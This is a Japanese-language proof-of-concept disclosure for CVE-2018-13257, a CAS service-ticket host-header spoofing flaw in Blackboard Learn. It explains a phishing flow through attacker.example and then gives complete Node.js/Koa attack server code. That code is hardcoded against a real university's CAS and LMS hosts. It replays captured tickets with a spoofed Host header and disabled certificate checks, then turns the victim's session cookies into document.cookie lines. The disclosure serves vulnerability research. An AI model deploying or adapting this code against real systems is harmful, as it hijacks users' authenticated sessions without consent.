
CVE-2018-13257の概念実証エクスプロイト。Blackboard LearnにおけるCASホストヘッダースプーフィングを実証し、悪意のある中間ウェブサイトを介してユーザーセッションを乗っ取ります。
Blackboard Learn 内の認証モジュールは、Central Authentication Service (CAS) の service ticket 検証中に HTTP ホストヘッダースプーフィングの影響を受けます。CAS サービスチケットは特定の service のみを対象としていますが、Blackboard Learn はこのサービスが現在のインスタンスであることを適切に検証しません。これにより、ユーザーがあるウェブサイトのシングルサインオン情報を入力していると思い込んでいる間に、悪意のあるウェブサイトがその service ticket を使用して Blackboard Learn インスタンスにそのユーザーとして認証するフィッシング攻撃が可能になります。
攻撃者は attacker.example をセットアップし、blackboard.example の Blackboard Learn インスタンスに別のユーザーとして認証します。このインスタンスは cas.example を通じてサービスチケットを検証します。
ユーザーが attacker.example にアクセスすると、以下のイベントが発生します。
https://cas.example/cas/login?service=https%3A%2F%2Fattacker.example%2Fwebapps%2Fbb-auth-provider-cas-BB5849b9bae4172%2Fexecute%2FcasLogin%3Fcmd%3Dlogin%26authProviderId%3D_102_1%26redirectUrl%3Dhttps%253A%252F%252Fblackboard.example%252Fwebapps%252Fportal%252Fexecute%252FdefaultTab%26globalLogoutEnabled%3Dtrue&renew=truecas.example のログインページが表示されます。これは信頼できるドメイン上の標準的なログイン画面であるため、ユーザーはおそらくそれを信頼します。ログインページには attacker.example に対して認証していることが表示されます。attacker.example にリダイレクトされます。https://attacker.example/webapps/bb-auth-provider-cas-BB5849b9bae4172/execute/casLogin?cmd=login&authProviderId=_102_1&redirectUrl=https%3A%2F%2Fblackboard.example%2Fwebapps%2Fportal%2Fexecute%2FdefaultTab&globalLogoutEnabled=true&ticket=ST-94783-BFdVJYDvsbi2HR0gXvy6-cas.exampleattacker.example は、前の手順で取得したサービスチケット ST-94783-BFdVJYDvsbi2HR0gXvy6-cas.example を使用して blackboard.example に対して HTTP GET リクエストを実行します。GET リクエストは、ホストヘッダー attacker.example で blackboard.example にアクセスします。https://attacker.example//webapps/bb-auth-provider-cas-BB5849b9bae4172/execute/casLogin?cmd=login&authProviderId=_102_1&redirectUrl=https%3A%2F%2Fblackboard.example%2Fwebapps%2Fportal%2Fexecute%2FdefaultTab&globalLogoutEnabled=true&ticket=ST-94783-BFdVJYDvsbi2HR0gXvy6-cas.exampleblackboard.example は、対象ユーザーを Blackboard Learn インスタンスに認証するための Cookie を attacker.example のバックエンドに応答します。attacker.example が機関内で定期的に信頼されているウェブサイト(例:機関のトップページ)である場合、そのウェブサイトが侵害されると、機関の Blackboard Learn インスタンスもこの脆弱性により合理的に侵害されることを意味します。
疑念を避けるため、attacker.example は手順 5 の後にユーザーを sso.example のログインページにリダイレクトし、そこで attacker.example が本来意図していた通常の処理を実行できます。ユーザーは「ログイン」を 2 回クリックする必要があるように見えますが、リダイレクトが十分に迅速に行われるため、ユーザーはログインページを離れて戻ってきたことに確信が持てない可能性があります。
CVE-2017-18262 はこの脆弱性とは異なることに注意してください。CVE-2017-18262 は redirectTo 検証の脆弱性です。この脆弱性は、検証ログインエンドポイントに送信される service URL パラメータの欠陥に関係します。
CVE-2017-18262 を使用して認証情報をフィッシングするには、cas.example の外観を模倣したフィッシングログインページをセットアップする必要があります。この脆弱性は cas.example 上で直接発生しますが、ユーザーが最初に attacker.example にアクセスする必要があります。
これは lms.uconn.edu に対して、brc15007 をスプーフィングされたユーザーとしてテストされました。lms.uconn.edu は Blackboard Inc. が管理する Blackboard Learn インスタンスで、Amazon Web Services 上にホストされています。
index.js
const crypto = require('crypto')
const Koa = require('koa')
const session = require('koa-session')
const FakeCas = require('./lib/fake-cas')
// The koa-basic-auth module is used purely to protect this POC from being used
// by unauthorized test users.
const auth = require('koa-basic-auth')
const CAS_SERVER = 'https://login.uconn.edu'
const BLACKBOARD_INSTANCE = 'https://lms.uconn.edu'
const VULNERABLE_ENDPOINT = `/webapps/bb-auth-provider-cas-BB5849b9bae4172/execute/casLogin?cmd=login&authProviderId=_102_1&redirectUrl=${encodeURIComponent(BLACKBOARD_INSTANCE)}%2Fwebapps%2Fportal%2Fexecute%2FdefaultTab&globalLogoutEnabled=true`
const POC_APP_USERNAME = 'i-accept-that-my-login-will-be-spoofed-for-testing'
const POC_APP_PASSWORD = 'fH71FnffjycEtMLdqd2zCAwavDzW8HdCaayHrQ4E'
const app = new Koa()
app.keys = [crypto.randomBytes(256)]
app.use(session(app))
app.use(auth({ name: POC_APP_USERNAME, pass: POC_APP_PASSWORD }))
const cas = FakeCas({
service: ctx => `https://${ctx.host}${VULNERABLE_ENDPOINT}`,
server: CAS_SERVER
})
app.use(cas.fakeCredentialRequestor({
attackUrl: ticket =>
BLACKBOARD_INSTANCE +
VULNERABLE_ENDPOINT +
'&ticket=' + ticket
}))
app.use(async ctx => {
ctx.body = `If I was a bad person, I would use the following cookies to login as you into ${BLACKBOARD_INSTANCE}.\n\n` +
ctx.session.cookieString
ctx.session = null
})
app.listen(3000)
lib/fake-cas.js
const https = require('https')
const fetch = require('isomorphic-fetch')
function createCASMiddleware (options = {}) {
const server = options.server
const service = options.service
const loginUrl = options.login || '/cas/login'
function fakeCredentialRequestor ({ attackUrl }) {
return async (ctx, next) => {
if (!ctx.session.cookieString && !ctx.request.query.ticket) {
const returnUrl = encodeURIComponent(service(ctx))
ctx.redirect(
server + loginUrl +
'?service=' + returnUrl +
'&renew=true')
return
}
if (ctx.request.query.ticket) {
const attack = attackUrl(ctx.request.query.ticket)
const res = await fetch(attack, {
headers: { 'host': ctx.request.host },
// rejectUnauthorized is required since we're spoofing the host
// header and ctx.request.host liekly won't be in the endpoint's HTTPS
// certificate.
agent: new https.Agent({ rejectUnauthorized: false })
})
const cookieString = res.headers._headers['set-cookie']
.map(cookie => cookie.match(/^(.*?);/)[1])
.map(cookie => `document.cookie = '${cookie}'`)
.join('\n')
ctx.session.cookieString = cookieString
console.log(cookieString)
ctx.status = 308
ctx.redirect('/')
return
}
await next()
}
}
return { fakeCredentialRequestor }
}
module.exports = createCASMiddleware
package.json
{
"private": true,
"main": "index.js",
"scripts": {
"dev": "nodemon index"
},
"devDependencies": {
"nodemon": "^1.17.5",
"standard": "^11.0.1"
},
"dependencies": {
"isomorphic-fetch": "^2.2.1",
"koa": "^2.5.1",
"koa-basic-auth": "^3.0.0",
"koa-session": "^5.8.1",
"query-string": "^5.0.1",
"xml2js": "^0.4.19"
}
}